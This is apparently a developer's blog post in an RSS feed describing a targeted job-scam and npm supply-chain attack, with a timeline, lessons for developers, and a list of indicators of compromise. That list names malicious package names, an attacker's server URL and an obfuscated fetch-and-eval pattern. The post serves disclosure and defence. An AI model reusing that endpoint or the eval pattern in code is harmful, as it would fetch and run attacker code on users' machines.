&lt;p&gt;While I can’t definitively say the Slack group was involved, it’s worth examining the timeline and possible connections:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;June 10, 2025&lt;/strong&gt;: I applied to the job related to the Slack Group.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;June 16, 2025&lt;/strong&gt;: The malicious &lt;code&gt;json-webhooks&lt;/code&gt; package was published. It is, however, possible that this was not the first time and they may have other prior NPM packages published.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;June 19, 2025&lt;/strong&gt; The Slack group I joined appeared to be created.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;June 23, 2025&lt;/strong&gt;: Received invitation to join the Slack Group.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;June 26, 2025&lt;/strong&gt;: I received the attack via LinkedIn.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This raises a few possibilities:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;It was an unrelated coincidence&lt;/strong&gt; — the timing just happened to align.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An attacker infiltrated the group posing as a candidate&lt;/strong&gt; — collecting contact info and monitoring conversations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The group was part of the attacker’s infrastructure&lt;/strong&gt; — created to scout developers and test approaches.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;While I lean toward the attacker having some visibility or presence in that group, I’m not accusing anyone specifically. I still have to put my Dexter Morgan's forensic analyst hat on.&lt;/p&gt;

&lt;p&gt;It’s possible the group is legitimate and simply compromised or observed without the admin’s knowledge.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Was Clearly Targeted
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The project closely mirrored my recent tech stack and interests.&lt;/li&gt;
&lt;li&gt;The Job Description and the test repo were sufficiently detailed and just real enough to look convincing.&lt;/li&gt;
&lt;li&gt;The malicious module was only used once, called with no arguments.&lt;/li&gt;
&lt;li&gt;The attacker persisted even after previous versions were reported and removed. So far the repo has been recreated and new malicious NPM packages published at least 4 times.&lt;/li&gt;
&lt;li&gt;The timing of the Slack invite and the attack raises the possibility that either an attacker had joined posing as a candidate, or, the Slack group creator was involved.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This wasn’t opportunistic. It was a carefully prepared &lt;strong&gt;social engineering + supply chain&lt;/strong&gt; attack.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Did Right
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Didn’t run the code&lt;/strong&gt;, even initially.&lt;/li&gt;
&lt;li&gt;Had a plan to run it in a Docker container.&lt;/li&gt;
&lt;li&gt;Noticed the missing NPM package.&lt;/li&gt;
&lt;li&gt;Investigated the package name, found it was replaced by &lt;code&gt;0.0.1-security&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Reported &lt;code&gt;reqweaver&lt;/code&gt;, &lt;code&gt;async-queuelite&lt;/code&gt; and &lt;code&gt;restpilot&lt;/code&gt; to NPM support. First two were taken down; awaiting for &lt;code&gt;restpilot&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Manually inspected &lt;code&gt;async-queuelite&lt;/code&gt; in VSCode with Restricted Mode.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What Could Have Gone Wrong
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Running the project, even in Docker, any environment variable passed to the container and anything in mounted volumes could've been leaked.&lt;/li&gt;
&lt;li&gt;Even worse, if it had been run with the malicious NPM package, the hacker could have created a reverse shell and gained access to the computer.&lt;/li&gt;
&lt;li&gt;If such code is deployed to staging/prod, it could compromise the CI/CD pipelines.&lt;/li&gt;
&lt;li&gt;Trusting the fake employer, one may end up sharing credentials or dev access.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Indicators of Compromise (IOC)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Malicious NPM packages:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;json-webhooks@1.5.9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reqweaver@&amp;lt;unknown&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;async-queuelite@1.0.11&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;restpilot@&amp;lt;latest&amp;gt;&lt;/code&gt; (published after previous removals)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Remote server used:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://log-server-lovat.vercel.app/api/ipcheck/703&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Obfuscation techniques:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Obfuscated code pattern using hex strings and &lt;code&gt;eval(r.data)&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I reported the last three packages (&lt;code&gt;reqweaver&lt;/code&gt;, &lt;code&gt;async-queuelite&lt;/code&gt;, and &lt;code&gt;restpilot&lt;/code&gt;) to NPM, and the first two have since been removed from the registry.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lessons for Developers
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Don’t blindly install dependencies&lt;/strong&gt;, especially from unfamiliar repos.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Always inspect small or unknown NPM packages&lt;/strong&gt;, especially if they're recently published.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use VSCode Restricted Mode or open packages in a sandboxed VM.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Consider isolating unknown projects in containers or VMs&lt;/strong&gt;, such as Docker, VirtualBox, Qubes OS, or use a completely isolated computer. While Docker helps limit filesystem exposure, note that &lt;code&gt;process.env&lt;/code&gt; and mounted secrets can still be leaked unless you take precautions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use a VPN to mask your IP and reduce surface exposure.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Validate LinkedIn profiles&lt;/strong&gt;: No activity in years + impressive roles = red flag&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Be cautious of unsolicited Slack invites with vague roles&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Report suspicious packages to NPM security&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Since this incident, I’ve also encountered another obfuscated malware sample distributed via UpWork. Maybe I'll try to cover that in a follow-up post.&lt;/p&gt;

&lt;p&gt;This experience was frustrating but incredibly eye-opening. It showed how attackers are adapting: combining social engineering with modern supply chain tactics to compromise individual developers.&lt;/p&gt;

&lt;p&gt;If I hadn’t been cautious, this could’ve ended very differently. If you're a freelancer or open-source contributor, &lt;strong&gt;stay vigilant&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Feel free to share this story. If it protects even one developer, it's worth it.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;If you have seen any packages or messages similar to this incident, or if you'd like to collaborate on raising awareness, feel free to reach out.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Related Discussions
&lt;/h2&gt;

&lt;p&gt;This article is also shared on the following platforms, where you can comment, like, or reshare:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/feed/update/urn:li:activity:7354270311967604736/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  About the Author
&lt;/h2&gt;

&lt;p&gt;Toufiqur Rahaman Chowdhury is a full-stack software developer with over 8 years of experience building scalable web applications. He’s worked across frontend, backend, and blockchain systems.&lt;/p&gt;

&lt;p&gt;🔗 &lt;a href="https://alien45.github.io/journal/" rel="noopener noreferrer"&gt;← Back to Journal Home&lt;/a&gt;&lt;br&gt;
• &lt;a href="https://alien45.github.io/cv" rel="noopener noreferrer"&gt;CV&lt;/a&gt;&lt;br&gt;
• &lt;a href="https://www.linkedin.com/in/toufiq/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;br&gt;
• &lt;a href="https://github.com/alien45" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;br&gt;
• &lt;a href="https://alien45.github.io/cv/Toufiqur_Chowdhury_CV.pdf" rel="noopener noreferrer"&gt;Contact / Hire Me&lt;/a&gt;&lt;/p&gt;



</description>
      <category>cybersecurity</category>
      <category>supplychainattack</category>
      <category>jobscams</category>
      <category>rce</category>
    </item>
  </channel>
</rss>
